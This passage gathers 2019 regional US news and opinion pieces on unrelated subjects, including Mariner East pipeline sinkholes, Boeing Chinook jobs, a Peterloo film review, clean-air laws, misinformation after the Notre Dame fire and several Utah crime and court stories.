before its too late. I am hopeful that my colleagues in the Legislature will join me in supporting this bill that seeks to protect residents along the pipelines. State Sen. Tom Killion, R-9, also addressed the new sinkhole, the first to occur in Delaware County, after a neighborhood in West Whiteland in Chester County twice developed sinkhole problems. Regardless, this is yet again another example of the dangers associated with this pipeline, Killion said. I continue to have deep concerns about the safety of this project. One pipeline incident could be absolutely devastating to local residents. For example, this sinkhole occurred a few feet from one of the busiest roads in the suburbs. I have called on the PUC to enforce a shutdown of the pipeline until stringent safety standards have been met, and Ive also joined residents in a PUC complaint to force tough new safety measures for the pipeline. The pipeline is a top issue for residents, and we need to do everything possible to ensure the safety of our families. State Rep. Leanne Krueger, D-161 of Swarthmore, stood by residents who have vehemently opposed the pipeline project. Once again, Sunoco Logistics/ETPs blatant disregard for the private property of home and business owners has ended up in the news, she said. This time, the proximity of a sinkhole in Delaware County could have threatened the safety of state troopers. When will ETP get the message that what theyre doing is destructive to our communities, destructive to our environment, and dangerous? The head of the Clean Air Council, one of the leading environmental groups in the state, took aim at the regulatory process that paved the way for Mariner East. This latest in a series of Mariner East sinkholes makes clear that the process for approving pipelines in Pennsylvania is broken, said Joseph Otis Minott, executive director and chief counsel of Clean Air Council. How many times can pipeline operators put lives at risk before we take decisive action? Until PUC, DEP, and the rest of state government can come together and fix the process, we should not be rushing forward with more new pipelines. In a related pipeline development, Sunoco was denied on a request to restart drilling in Shoen Road, Chester County. PUC denied that approval Thursday morning with a 5-0 vote in a public meeting of the Commissioners, according to the Clean Air Council. Restart of construction at Schoen Road and additional locations had been prohibited by PUC Administrative Law Judge Elizabeth Barnes in May of 2018 in the case of state Sen. Andrew E. Dinniman v. Sunoco Pipeline, L.P. The commission voted unanimously to defer action on the request to the Commonwealth Court of Pennsylvania, citing that it lacked jurisdiction to consider the request. As a result, the injunction on construction at Shoen Road, where residential wells were negatively impacted due to pipeline construction operations in 2017, remains in effect. Sunoco wants to have it both ways, Dinniman said. On one hand, they wanted to tie the case up in the higher court and challenge my standing. On the other, they want to move forward with construction in an area where theyve already negatively impacted residents. Fortunately, the PUC saw through this and made the right decision. PUC Administrative Law Judge Elizabeth Barnes first ordered the injunction, among others measures, as a result of Dinnimans successful petition to halt operations of the Mariner East pipeline operations in May of last year. In siding with Dinniman at that time, Administrative Law Judge Barnes agreed that the ongoing construction of the problem-riddled pipeline project in a densely populated, high-consequence area constitutes an emergency situation which presents a clear and present danger to life or property. At Sunocos request, the case is currently on interlocutory appeal in Commonwealth Court where its attorneys are challenging Dinnimans standing. As result, all proceedings in the case have been put on hold at the PUC. Thankfully, in the case of Schoen Road, Sunocos own delay tactics have backfired, Eve Miari, Advocacy Coordinator at Clean Air Council said. But residents living along all parts of the route need protection now. PUC needs to shut down the Mariner East pipelines. The issue comes just days after the company restarted Mariner East 1, which had been shut down for two months after sinkholes formed in a Chester County neighborhood for the second time in a year. That was not incoming circling the Boeing plant in Ridley yesterday. But they are girding for battle. These are tough times for the aerospace giant with long roots in Delaware County. Nationally, you no doubt have heard they have grounded their troubled 737 Max jets after two deadly crashes that left 346 people dead. Closer to home, a massive Chinook upgrade program that would have guaranteed thousands of jobs at Boeings sprawling plant in Ridley are in danger because the Army is now looking to delay or scrap altogether the project. Yesterday Boeing officials and local elected representatives held an event to demonstrate what is at stake. In front of workers whose very livelihood could be at stake, company officials commemorated the first flight of the Block II Chinook upgrade program. The upgrade program was awarded to Boeing in July 2017 amid much fanfare. The work was expected to solidify the local workforce for decades and keep the Chinook in operation for the U.S. Army into the 2060s. The Chinook has been the basic workhorse of the Pentagon for decades. But perhaps for not much longer. Thats because the Army got cold feet or at least a change of heart. In March the Army announced its intention to put the project on hold, sending shock waves through the county. Boeing remains the countys largest employer, and cuts at the iconic helicopter plant reverberate throughout the Delco economy, from contractors and suppliers to local restaurants. The Army indicated it was moving in a different direction, noting their belief that they already had more than enough Chinooks and instead opting to focus their spending on more tech-savvy systems, assault helicopters, robotic vehicles and digital-based weapons systems, as well as production of Bradley Fighting Vehicles, while slashing purchases of other Joint Strike Force Vehicles, and a variety of other items. Including the upgrade program for the Chinook. Newly elected U.S. Rep. Mary Gay Scanlon, D-5, who now carries the torch for Boeing jobs that has traditionally been Job 1, the task of 7th District Congressmen like Curt Weldon, Joe Sestak and Pat Meehan, sprung into action. First she looked to galvanize the regions congressional delegation by circulating a letter among her colleagues in the Capitol to support continuing the Chinook upgrade program. Securing this contract is important to our national security and keeping jobs in our region, said Scanlon. Then she made her case in person with an appearance before the House Appropriations Committee. Scanlon wisely framed her argument not just in terms of jobs here in Delco, but also one of national security. I understand that the Army must make tough decisions, but delaying the production of the Block II program is not in the best interest of national security, she testified. There is no suitable replacement for the Chinook and I know I dont need to convince any of you on the utility of this critical aircraft. Delaying or ending this program without having a suitable replacement would have significant consequences both in terms of cost and military readiness. But she also noted the trickle-down effect of potential cuts at Boeing, saying the Chinook program supports more than 20,000 jobs and more than 200 suppliers in 38 states. A good number of these suppliers are small businesses, Scanlon said, and if the program is delayed or cancelled, they face the very real risk of closure. There was a time when the Ridley plant was home to 14,000 skilled workers working three shifts and cranking out one aircraft a day. Today that number has dwindled to 4,600. The innovative V-22 Osprey, once itself on the Pentagon hit list, has survived and is now flourishing. Now its the Chinook that is on the chopping block. Along with all those jobs. Thats what brought Scanlon and a host of other local elected officials to the Boeing plant Thursday. They were looking to show off exactly what was at stake, along with drawing attention to the quality of the Chinook program. In effect, they were saying, This is whats at stake. And to be honest, the event also served as a much-needed pep rally, a way to boost sagging morale for worried workers who suddenly see their ticket to a solid, middle class life in jeopardy. Thats what those copters were doing over the river yesterday. Boeing was going on the offensive. The Block II upgrade program is the very one that is on the chopping block by the Army. Thursdays event not only showed off Boeings craftsmanship, but also stressed how important these jobs are to the Delco and regional economy. The stakes are that high. We dont blame local Boeing officials, or Rep. Scanlon for using every weapon in their arsenal in the battle to save these jobs. In other words, by hook or by Chinook. PETERLOO 2 stars Rory Kinnear, Maxine Peake, Neil Bell, John-Paul Hurley; PG-13 (a sequence of violence and chaos); Broadway; running time: 154 minutes SALT LAKE CITY You dont have to be a studied historian to understand where things are going in Peterloo, but you will have to wait a while for the payoff. Based on the true story of the 1819 massacre in Manchester, England, Mike Leighs film has plenty of things going for it, including a sharp period look that captures the bleakness of the time, but unfortunately, Peterloo is about 90 minutes of story stretched into 154 minutes of screen time. Peterloo opens in the aftermath of the 1815 Battle of Waterloo, as the Duke of Wellingtons allied forces defeat Napoleon. Back home, though, trouble is brewing in England, and the government is worried about signs of insurrection and sedition in Manchester. But from the north, the perspective is a little different. Fed up with a lack of suffrage and proper parliamentary representation, the commoners in the Manchester area are rallying to petition the government. Small groups of citizens are heading up local meetings, and various grassroots leaders are rising to prominence. Early on, a sequence of court hearings paints an awful picture as a lineup of poor citizens are given massive sentences for comparatively minor crimes. Behind the scenes, the local government loathes the unwashed masses, conspiring with the landowning elite to sustain their lives of privilege. Still, the momentum and support for change continues, and local radicals and activists see an opportunity in Henry Hunt (Rory Kinnear), a wealthy landowner who is an outspoken proponent of universal suffrage. When he accepts an invitation to speak at a Manchester rally, the upcoming event sets the stage for a dramatic clash between oppressor and oppressed. A large portion of the film the buildup to the third-act finale at the rally includes numerous meeting scenes where activists work through dramatic and eloquent speeches on behalf of God-given human rights. At one point, during an informal outdoor meeting in the countryside, we see three such speeches given in sequence in their entirety. While theres nothing wrong with a good movie speech, in Peterloo we wind up with way too much of a pretty good, but not great thing. It would help if the story offered a bit more in terms of character development. Rather than zero in on a specific protagonist Hunt might be the closest thing to the job Peterloo takes more of an ensemble approach, weaving through a host of supporting characters to paint as many perspectives on the story as possible, but as a result, we get little more than fleeting glimpses overall. The apparent design is to build everything to the dramatic finale, which, while considerably more dramatic than what precedes it, still feels a little methodical and unfulfilling, and Peterloo ends with a somber abruptness that even lacks the traditional end credit titles to let the audience know what happened in the tragedy's aftermath. Its possible the ambiguity of the ending is meant to further allude to our day, since it doesnt require much reading between the lines to see the parallels in class conflict and other related issues in play. But the sum total is a historic drama that wont make much history itself. Peterloo nods toward the powerful impact of its source material but lacks the follow through to truly capture its pathos. Rating explained: Peterloo is rated PG-13 for some violent mayhem, including stabbings, and some brief profanity. The governors of Utah and Nevada took the opportunity of Earth Day to publicize new initiatives that recognize the growing importance of a strong commitment by state government to improve environmental quality on a local level and globally. Gov. Gary Herbert touted a package of clean air bills and an unprecedented $28 million investment in clean air initiatives, while Nevada Gov. Steve Sisolak signed legislation pushing for rapid growth in the use of renewable energy. While the Nevada law reflects a larger push toward policies aimed at addressing global climate change, the Utah measures speak more toward the direct impact of dirty air, especially during winter inversion periods. In both cases, the efforts demonstrate the important role local government plays in helping direct market changes in the areas of energy use and pollution control. Such actions are one of the keys to keeping bad air at bay, according to Deseret News reporter Erica Evans, who last October traveled to Oslo, Norway, to discover how local government intervention is necessary to guard the the health of its residents. Oslo, she reports, takes a greedy approach, favoring swift action over drawn-out committee discussions. Although the greedy method has its shortcomings, harboring a mindset of action among Utahs business and political leaders will make positive advances. The nonprofit Center for Climate and Energy Solutions reports that the use of renewable energy sources in the U.S. grew 67 percent between 2000 and 2016. The non-partisan organization attributes that rise to two principal factors advances in technology making solar, wind and biofuel energy production more affordable, and government policies including tax incentives aimed at increasing the market share of renewable sources. The development and use of renewable energy has climbed steadily in the past two decades. Currently, about 15 percent of electricity generation in the U.S. is from renewable sources, with that percentage expected to at least double in the next 10 years. While its important that policies include specific goals, they must be realistic. Hard line environmental advocates seem to think its possible to turn off all of the lights powered by fossil fuels and turn them back on the next morning with only renewable sources. Utahs push toward cleaner air represents a practical attack on specific problems. Urban areas here rank high in short-term pollution levels because of the dozen or so days every winter in which particulates are trapped at low levels by high-pressure systems. Automobile emissions are by far the biggest contributor of particulate pollution, and one component of the states anti-pollution push increases the number of electric-vehicle charging stations. Such practical measures serve to augment existing market trends. Just as renewable energy sources claim more of a share of power generation, regulatory efforts on state and federal levels have led to large decreases in overall pollution. As an example, emissions from industrial sources in Utah have dropped 47 percent since 1995, reports the Deseret News' Amy Joi O'Donoghue. Such trends need to continue. Laws that are aspirational, as in the case of Nevada, and pragmatic, as in Utahs efforts, are important in their own ways in guaranteeing that beneficial progress carries on. In the moments and hours after Notre Dame burned, people all around the world united to offer thoughts, prayers and funds to rebuild the legendary cathedral that means so much to individuals all around the world. During this time we were able to see people of different backgrounds come together and support one another. We got to see the best of humanity. Sadly, we also saw some of the worst. While the Notre Dame still burned, individuals started spreading false information about how the fire started. French officials ruled out arson and terrorism, saying it was most likely an accident tied to the repairs taking place while others, mostly white supremacists, spread false, Islamophobic rhetoric by saying this was an attack by Muslim terrorists. They used a blurry, pixelated and heavily edited video of CNBCs livestream of the fire and a doctored picture as their proof. Thankfully, this claim was quickly debunked by reputable news organizations and fact-checking websites. Nevertheless, pathetic conspiracy theories such as this one are prevalent whenever tragedies occur. Conspiracy theories were abundant after the mass shooting at Newtown, Connecticut and Parkland, Florida. Some people spread them out of malice, others do it to troll, and some spread them in order to try to understand the unexplainable. The truth is secondary for those who spread false theories out of malice. They either believe the provable lie because it fits their own personal views or they know theyre lying and they just dont care. They spread lies because its convenient for them, and when challenged with the truth, they have a tendency to double down on their lies because the truth does not fit the narrative they crafted. For those trying to make sense of a tragedy, its understandable why they would be quick to believe the falsehood. Its only natural for people to want an explanation of horrible events taking place around the world. From mass shootings to accidents, people want to know one thing: Why? Thats understandable. However, it leads to rushed judgments about ongoing events and throws logic out the window. In this situation, instead of waiting for French officials to explain what happened, people trusted a heavily edited video to make extreme connections and fill in the blanks. Even if we ignore the blatant Islamophobia from the post, immediately believing the video without any attempt to verify it is just bad practice. Pizzagate and the shooting at the Comet Ping Pong pizzeria is a perfect example of how spreading false conspiracy theories can bring harm to others. In 2016 a baseless conspiracy theory known as Pizzagate spread around the dark corners of the internet. It claimed that a D.C. area pizza place called Comet Ping Pong was secretly running a pedophile ring out of secret tunnels and had ties to Hilary Clinton. Comet Ping Pong and the neighboring stores were harassed by conspiracy theorists and one man believed the lie so much that he drove from North Carolina to Comet Ping Pong armed, and fired a gun in the restaurant. Thankfully no one was injured, but there was a very real chance of someone getting hurt. Thanks to modern technology we can find out almost anything instantly, but we cant become complacent in our search for truth. We cant trust everything we see online at face value. In order to not be fooled by those with ill intent, we need to go through life with a healthy amount of skepticism. President George Washington said it best. In his "Rules of Civility & Decent Behavior in Company and Conversation," he said, Be not hasty to believe flying reports to the disparagement of any ... Be not apt to relate News if you know not the truth thereof. Patience is key when tragedies occur. Rushing to judgement never helps anyone and does have the chance of hurting innocent people. Sometimes, like Notre Dame, terrible things happen by accident, and thats it. Accidents happen, its a part of life. We can learn and grow from them. The burning of Notre Dame is a tragedy, theres no doubt about that, but we shouldnt use it as an excuse to neglect logic in our thinking and automatically believe a blurry video found on Facebook. Falling for that video is like falling for an email from a Nigerian prince who wants to give you $10,000. Some of the most basic things we can do during a tragedy is not spread false conspiracy theories and wait for information to come in from officials and reliable sources. Relying on questionable sources that have specific political agendas for truth in the moments after a tragedy does nothing but sow confusion and can cause potential harm. The tools are available for us to do exactly as President Washington counseled and its easy to do. All it takes is some patience and a little extra effort. WELLSVILLE, Cache County A former Box Elder County police chief has pleaded guilty to impaired driving after troopers say he drove erratically and failed a sobriety test in January. Shane Jacob Zilles, 49, pleaded guilty to the class B misdemeanor April 19 in Wellsville Justice Court, according to court records. Zilles was driving a Mantua police patrol car on state Route 91 near the mouth of Sardine Canyon about 5 p.m. on Jan. 29 when the Utah Highway Patrol said his vehicle was spotted traveling at least 86 mph in a 65 mph zone. The patrol car was traveling in the median, and without any emergency lights or sirens, according to a UHP report. The arresting trooper, who immediately recognized Zilles, stated in the report that the chief had trouble finding the button to roll down the passenger window and eventually rolled down the back window instead. When the trooper asked Zilles to open the passenger door, he said his patrol car rolled 6 to 8 feet before stopping and Zilles got the door open. Mantua officials confirmed that Zilles was fired shortly after his arrest. He was sentenced to two days in jail. However, he can instead complete five days of community service. He also was ordered to serve one year of probation, during which he must remain drug and alcohol free and submit tests to prove it. A review hearing in the case is scheduled for July. Correction: A former version incorrectly identified Shane Jacob Zilles as a former police chief in Cache County. He worked in Box Elder County. ALPINE A 53-year-old man was killed when a trench collapsed during a pool installation in the backyard of an Alpine home. Firefighters arrived at the home about 1 p.m. Wednesday to find Luis Moran buried up to his waist, said Lone Peak Battalion Chief District Reed Thompson. He added that witnesses told rescue workers that Moran had been buried up to his neck at one point. "We quickly determined (this) went from a rescue mode to recover mode," Thompson said. "We kind of slowed things down at that point, made sure we had rescuers performing safely, shore up the trenches, and place the appropriate equipment in a place that we could extricate the victim and turn him over to the medical examiner." Thompson said the trench didn't have safety measures required by OSHA. "(He) was in a trench that did not have any security measures in place, i.e. like shoring up, and it was deeper than what OSHA requires at four feet," Thompson said. "Heavy dirt and other material can collapse or fall into the hole, which is what occurred that day." Because of the nature of the call, which is uniquely difficult and technical, rescue workers from other fire agencies including, American Fork, Lehi, Pleasant Grove and Orem, who are members of the Utah County Technical Rescue Team, responded to the call and helped with the recovery effort. SALT LAKE CITY It's a dream come true for some city dwellers. Too bad it has no effect in Utah. An Ohio-based federal appeals court this week ruled unconstitutional the practice of chalking tires to see how long a person is parked. The justices sided with a Michigan driver, finding a city parking officer trespassed by marking her tires. "Parking is one of the most contentious issues anybody deals with," said Lorna Vogt of Salt Lake City's public service division. But the time limits serve an important purpose, she said, keeping traffic flowing so drivers don't "use our curbs for just parking lots." The new court decision pertains to just four states Michigan, Ohio, Kentucky and Tennessee. Even so, some Utah attorneys say the reasoning behind it could one day affect more than just parking and possibly put limits on criminal investigations in the Beehive State. Two of Utah's most populous cities are already dropping the chalk, turning instead to more efficient digital cameras. The ruling out this week does not touch on the new technology. Utah's capital city has all but abandoned markings and now snaps photos containing timestamps. It uses chalk only to determine if a car has stayed put in the same spot for two full days, a violation of a city storage ordinance, Vogt said. City lawyers were reviewing the practice this week in light of the new decision from the 6th U.S. Circuit Court of Appeals. About 1,600 miles to the east, in Saginaw, Michigan, Alison Taylor had racked up more than a dozen $15 tickets after an officer marked her wheels. The parking officer violated her Fourth Amendment right against unreasonable searches, she argued, and the court agreed, finding the practice akin to entering a property without a search warrant. "Im very glad the three judges who got this case took it seriously," Taylors attorney, Philip Ellison, told the Associated Press. In Utah, Ogden continues to use chalk and has no concerns about a similar legal challenge, said Ogden Police Lt. Will Farr, who oversees parking compliance for the city. "That's not in the same district as we are, and that's also a small court ruling," he said. Farr added that the city constantly reviews its policies and would conform with any future decision that applies to Utah. In Provo, enforcers sometimes carry chalk, but now mostly use a digital scanner that attaches to city cars and reads license plates, said Karen Larsen, the city's director of customer service. Provo has budgeted to buy two more of the high-tech tools, which allow an employee to stay in the car while collecting the data. The move is welcome to restaurant owners and business operators who want to free up spots for customers in the fast-growing city, Larsen said. And while drivers may see the ticketing system as a racket, Larsen says that's not so. Parking violations bring in $300,000 to $400,000 a year, but Provo generally spends within $10,000 to $20,000 of the revenue just to cover enforcement costs. "It's basically a revenue-neutral service," Larsen said. In the new court decision, the justices cited a 2012 U.S. Supreme Court ruling that found secretly putting a GPS device on a vehicle without a proper warrant amounts to trespassing on a person's property. Jim Bradshaw, a Salt Lake attorney who works largely on search and seizure cases, said as more courts consider that reasoning focused on a person's property rights, they may come to restrict how far police can go in trying to gather evidence from cars. "It conceivably could limit K-9 searches by law enforcement," he said. "Even though chalk is the most old school approach to gathering evidence, this approach of looking at it as trespass that it is a trespass is important." For example, in November troopers pulled over a man in Tooele County and seized about $90,000 from his car after a drug-sniffing dog jumped in through the window, apparently alerting officers to drugs. But no illegal substances were found and a court last month ordered the Utah Highway Patrol to repay the driver, who became Bradshaw's client. Under the same point of view the court took in this week's chalk case, the police dog jumping through the window could be considered an unconstitutional search, Bradshaw said. In Utah County, another driver is alleging unlawful search after police touched his car as part of an investigation. The same principle applies, said the driver's attorney Doug Thompson, even though "the contact was pretty minimal." Earlier this year, Thompson points out, another federal court out of Texas found that knocking on a person's tire to see if there are drugs inside and without a warrant is unconstitutional. There's no telling whether the U.S. Supreme Court would take up the chalking case if the city of Saginaw appeals, Thompson said, but "it would be cool if this one went up, because there's not so much at stake for either of the participants, but the principle is really important." SALT LAKE CITY The way Americans perceive discrimination is increasingly split along party lines, and a recent surge in discrimination-related lawsuits and legislation may help explain why. In 2019, 57 percent of U.S. adults who identify with or lean toward the Democratic party say gays and lesbians face "a lot" of discrimination, compared to just 22 percent of those who identity or lean Republican a 35-percentage-point gap, according to a new analysis from Pew Research Center. In 2013, there was only a 16-percentage-point gap between Democrats (46 percent) and Republicans (30 percent). Similarly, the partisan gap in perception of discrimination against evangelical Christians rose from 12 percentage points in 2016 to 22 percentage points today, Pew reported. We're becoming "more fractured," said Robin Fretwell Wilson, director of the family law and policy program at the University of Illinois. That's likely an unintended consequence of efforts to expand or clarify the rights of LGBTQ Americans and conservative people of faith. As Congress, state legislatures and judges have considered a growing number of bills and cases, debates have emphasized reasons to fight rather than find common ground. "There are so many forces that push us into conflict and make it tempting to exaggerate differences," said Shannon Minter, legal director of the National Center for Lesbian Rights. Few civil rights activists set out to be one of those divisive forces. Discrimination lawsuits should increase understanding of marginalized communities, not partisanship, said James Esseks, director of the ACLU's Lesbian Gay Bisexual Transgender and HIV Project. "We're trying to get to a place where we have a shared understanding of the American populace and the problems that all different groups within America face," he said. But the legal system often encourages a winner-take-all approach, rather than mutual understanding, Wilson said. Moving forward, Americans need to reckon with discrimination in all forms, not just the types that members of their political party care about. "Protecting other people (from discrimination) is the best way to protect yourself," she said. Winner-take-all The ACLU has filed or joined a number of discrimination-related lawsuits in recent years, including two of the sex discrimination cases before the Supreme Court this fall. Through these lawsuits, the organization works to clarify laws and seek justice for its clients, while also educating the public about the difficult situations LGBTQ people face, Esseks said. "We know some people have questions about how much (anti-LGBTQ discrimination) happens," he said. "The reality is that it happens all the time and it's devastating." The educational value of lawsuits was evident during the fight for same-sex marriage, he noted. As high-profile lawsuits worked their way through the legal system, public support for the practice surged. "I think the process of the court considering those cases and the media writing stories about people involved in those cases was part of the country's journey toward learning about same-sex couples," Esseks said. However, lawsuits do more than increase awareness of the issues involved, Wilson said. They can also make it seem as if there is no middle ground between warring parties. "A lawsuit is never about finding a way to accommodate both sides. It's trying to win so the other guy loses," she said. Few Americans are OK with LGBTQ people being fired simply because they're gay or transgender. Sixty-nine percent of U.S. adults support laws that would protect gay, lesbian and transgender Americans from discrimination in jobs, public accommodations and housing, according to Public Religion Research Institute. But people still disagree over the best way to protect them and whether it's necessary to also protect conservative religious employers, including faith-based schools like Brigham Young University. "Some people of faith are hoping to retain discretion over" LGBTQ-related policies, such as restroom or dorm access, at religiously affiliated schools or businesses, Wilson said. That nuance can get lost in debates surrounding court cases, she added. Some people act as if LGBTQ discrimination doesn't exist, and others as if religious freedom claims are motivated by anti-LGBTQ animus. "That's just dismissing the needs of the other community, instead of saying, 'I understand their needs and I also want my needs to be taken into account,'" she said. Legislative efforts to address discrimination can allow for better debates than lawsuits, but even that process has been affected by rising polarization. Few bills related to religious freedom or LGBTQ nondiscrimination protections receive bipartisan support, and many are one-sided, concerned about only the needs of religious leaders or LGBTQ people, instead of both, as the Deseret News reported last year. Americans increasingly attack the people they disagree with rather than seek compromise or acknowledge complexity, Wilson said. "That denigrates other people, as opposed to saying, 'I believe these other people have worth, and I should be treated with dignity as well,'" she said. Better conversations Wilson tries to model a better approach through a program called Tolerance Means Dialogues, which brings together legal experts, civil rights advocates and college students on college campuses across the country. Participants meet for one to two hours, discussing complex issues like discrimination and working together to move beyond winner-take-all thinking. "Making personal connections is a sort of 'bottom-up' way to forge solutions," said Thomas Berg, a law and public policy professor at St. Thomas University, about the program last year. Minter has taken part in several of Wilson's events. He describes the program as "probably the most important work" he's doing right now. "I think the fatal flaw of our current politics is people on both sides of so many issues thinking that compromise is anathema and the better strategy is to wait until they have absolute power and can insist upon the exact laws they want to see enacted," he said. That type of thinking makes trying to understand or empathize with someone different than you seem like a weakness, Minter added. "I do worry that, increasingly, people in this country live in almost two separate worlds because we have become so politically and socially polarized," he said. Pew's research shows those separate worlds emerging over time, highlighting a widening gulf between Democrats' and Republicans' views on discrimination. However, there's growing interest in addressing polarization, according to Wilson and Minter. "I have been really encouraged by how many people seem to be becoming aware (of polarization) and want to move past it," Minter said. Since 2017, Wilson has hosted 10 dialogue events in eight states and has two more planned for later this year, including one at BYU. She's also released a new book on the common ground between religious freedom and LGBTQ rights advocates, further promoting the idea that we'll all be better off if we work together. Current political trends won't be reversed overnight. But taking the time to learn about someone else's beliefs, experiences and concerns is a step in the right direction, Wilson said. "It's really, really hard to ask for your inherent worth to be respected while you're denying the inherent worth of everybody around you," she said. SALT LAKE CITY Unified police investigators are joining officers from other states looking for a serial burglar who has been breaking into REI stores across the nation, including in Utah. Detectives say the burglar can be linked to at least 10 REI break-ins in seven states. "Starting Dec. 18, 2018, it is believed the same suspect committed the crime of burglary at seven different locations in the United States, three of them were burglarized on two different dates. The suspect in each case obtains the same items in each burglary," an officer wrote in a search warrant affidavit filed in 3rd District Court. The burglaries occurred at REI stores in Greenwood Village, Colorado (twice); Oakbrook Terrace, Illinois (twice); West Tukwila, Washington; Boise; Overland Park, Kansas; Winter Park, Florida; and twice at Utah's Millcreek REI store, 3285 E. 3300 South, on Jan. 31 and March 17. More than $55,000 worth of merchandise was stolen during the 10 burglaries. In each case, surveillance video recorded the burglar. Investigators say a person who wears "all black with gloves with their face covered enters the store. The suspect has a large duffel bag on his back. Suspects stops at the display for the Garmin and GoPro products. The suspect can be seen using a yellow pry bar to break into the displays, emptying items from the displays into his bag, and then leaving out the store," the warrant states. The affidavit notes that law enforcement agencies were hoping to use cellphone tower information to locate the burglar. SALT LAKE CITY As President Donald Trump's critics call him a threat to democracy in the wake of the Mueller report, a Utah senator says Trump has done more to restore freedom than any chief executive in recent history. "I think they're engaged in paranoid fantasy," Sen. Mike Lee said Thursday night on Fox News. "There isn't a single shred of truth to what theyre saying." Lee earlier said it's time to move on from special counsel Robert Mueller's report that found Trump did not collude with Russia to interfere in the 2016 president election. Former Republican Massachusetts Gov. William Weld, who is challenging Trump for the 2020 GOP presidential nomination, said he fears the president is becoming a tyrant. He has called for Trump to resign. In a political ad, newly declared Democratic presidential candidate Joe Biden called Trump a threat to the nation unlike any he has seen in his lifetime. Lee said the real threat to liberty is the power Congress has "excessively" delegated to the executive branch the past 80 years. That, he said, is not Trump's fault. "This was true decades before Donald Trump ever came down on that escalator. This is not his problem. Its Congress' problem," the senator said. Lee, the author of a new book titled "Our Lost Declaration: America's Fight Against Tyranny From King George to the Deep State," has long banged the drum for reducing executive power. "Call it the bureaucracy, call it the Deep State, call it whatever you want, but Congress created this threat to our liberty," he said in a Facebook post Friday. Trump's critics, Lee said, are wrong to say he is a threat to liberty. Americans, he said, have more freedom today that they did the day before Trump took office. He said the administration has removed two regulations for every one that it has issued. "This president has done more to restore liberty than any president in recent history. We should be grateful for that," Lee said, adding that, again, the finger should be pointed at Congress for relinquishing power. Presidential candidate and Vermont Sen. Bernie Sanders said in a recent speech that Trump is intent on emulating leaders of Russia, China, North Korea and Saudi Arabia. Lee disagreed. "I cant think of single example of where he has done that," he said. Being willing to engage in an open dialog with foreign leaders doesn't represent a threat to liberty, Lee said. A president, he said, should be praised when he wants to reach out and make sure he doesn't insult foreign leaders. "We shouldn't be denigrating him for trying to do that, for trying to make our foreign relations better," Lee said. TAYLORSVILLE An assisted living facility in Taylorsville implemented a no tap water policy after two of its residents contracted Legionnaires' disease. The last month has been very unsettling, said Norma Soderborg Harris, a resident at Legacy House of Taylorsville. On Thursday, signs hanging in rooms, bathrooms and above drinking fountains warned residents not to use the water. For more than a week the staff has provided water bottles for drinking, washing and bathing. We cant shower, Harris said. We cant do anything that uses water. The Salt Lake County Health Department retested the facility's water Friday and recommended it continue to use bottled water. Final test results are expected next week. However, efforts to remediate the bacteria have progressed enough for residents to start using designated shower rooms that have Legionella filters, said Nathan Cluff, the center's executive director. "We have showering residents again today safely and we'll be calling in some extra staff to help us catch up on our shower schedule," he said Friday. Cluff said he has appreciated residents' patience. "This is their home," he said. "This is where they live." In early April, one of Legacy House's 80 residents contracted Legionnaires' disease. Last Tuesday, the Salt Lake County Health Department notified Cluff that a second resident had the disease and advised the facility to stop all use of tap water. The disease comes from the bacterium Legionella, which is found in water but can only spread by breathing in mist thats contaminated with the bacteria, according to the Centers for Disease Control and Prevention. Symptoms include coughing, shortness of breath and fever. It basically shuts down your lungs so you cant breathe, said Steve Madsen, owner of Legionella Specialties. Legacy House hired the company last week to eradicate the Legionella bacterium. Were looking for spots where the water would be turned into aerosol, like a shower head, a fountain, a hot tub. It can even be a drinking fountain or a sink in a room, Madsen said. Seven other residents have been tested for the disease, but the results have come back negative. Out of an abundance of precaution were going to implement these water restrictions just to make sure we keep people safe until the problems been remediated, Cluff said. Until then, its an inconvenience that Harris is willing to live with. Hope its over with soon, said Harris, who has warmed up water bottles in the microwave in order to take a shower. I cant say its been happy experiences, but its been a learning experience, she said. Theyve done everything they can to help us to do it. Health officials say the case at Legacy House is not unusual for those types of facilities. There were 17 reports of the bacteria found in Salt Lake County in 2018. The county health department receives about 25 incident reports of legionella each year. Madsen says he expected the center to be completely disinfected by Friday. Contributing: Dennis Romboy COTTONWOOD HEIGHTS A boy threw a food additive powder into a school bus leaving a middle school Friday afternoon, forcing about 24 kids to evacuate while officials tried to determine what the powder was. As the bus was leaving Butler Middle School in Cottonwood Heights about 3 p.m., the boy outside the bus threw the white powder into an open window, said Canyons School District spokesman Jeff Haney. An email sent from school officials to parents said several students reported symptoms including respiratory distress, stinging eyes and blurry vision. The students on the bus were evacuated to the school auditorium. Parents were able to pick them up at the school entrance, according to the email. Paramedics and Unified firefighters responded and checked on the students. One child needed on-scene treatment, said Unified Fire Authority spokesman Keith Garner. Police were also on scene assessing the incident. Officials originally believed the powder was protein based and possibly a type of pepper spray, Garner said. Cottonwood Heights officers talked to the boy's parents, police said. Late Friday evening, Cottonwood Heights Police Lt. Dan Bartlett said police had not taken the boy into custody. Charges will be screened against the boy, Bartlett said, but he emphasized that the situation was an "overreaction to a junior high prank." COTTONWOOD HEIGHTS A West Valley man charged with 34 felonies earlier this week for allegedly firing numerous shots during a standoff with police was charged with even more felonies Friday in connection with an incident that happened prior to the standoff. In total, Joshua Benjamin Williams now faces 49 felonies, including 41 counts of illegal discharge of a firearm. On April 11, Williams stayed the night at an acquaintance's house in Cottonwood Heights near 6500 South and 2600 East. But the next morning he entered a bedroom "making statements about how there was a green light on him and they were after him," according to charging documents. Williams, 36, set up a barricade in the house and then held the woman who lives there at gunpoint, the charges state. She was held against her will for 12 to 18 hours, police say. At one point, she attempted to escape after Williams had fallen asleep by climbing over the barricade. Williams woke up, however, and fired 11 shots, according to charging documents. The woman was able to escape when her dog bit Williams. For that incident, Williams was charged Friday in 3rd District Court with aggravated kidnapping and aggravated burglary, both first-degree felonies; possession of a firearm by a restricted person, a second-degree felony; 11 counts of discharge of a firearm and aggravated assault, third-degree felonies. Five days later, on April 16, while Unified police were looking for Williams in the Magna area, they got a call from employees at a Burger King, 8443 W. Main, regarding a man who locked himself in the restroom and refused to leave even though the restaurant was closed. When officers arrived and opened the bathroom door to look inside, Williams pointed a gun at them from about 5 feet away, according to charging documents. "Gun, gun, gun!" an officer yelled as they shut the door. As the officers were evacuating the restaurant, two shots were heard, according to charging documents. The glass door shattered and another shot went through a window. Police stated that Williams was shooting "blindly" through the bathroom door. A SWAT team was called and surrounded the restaurant. During the ensuing six-hour standoff, more shots were fired out of the restaurant. Tear gas was eventually used to take Williams into custody, police say.. No officers fired a shot. Inside the bathroom, investigators collected 30 shell casings. When interviewed by investigators, Williams said he was hiding in the bathroom because the "cartel" was after him, according to a Salt Lake County Jail report. For that incident, 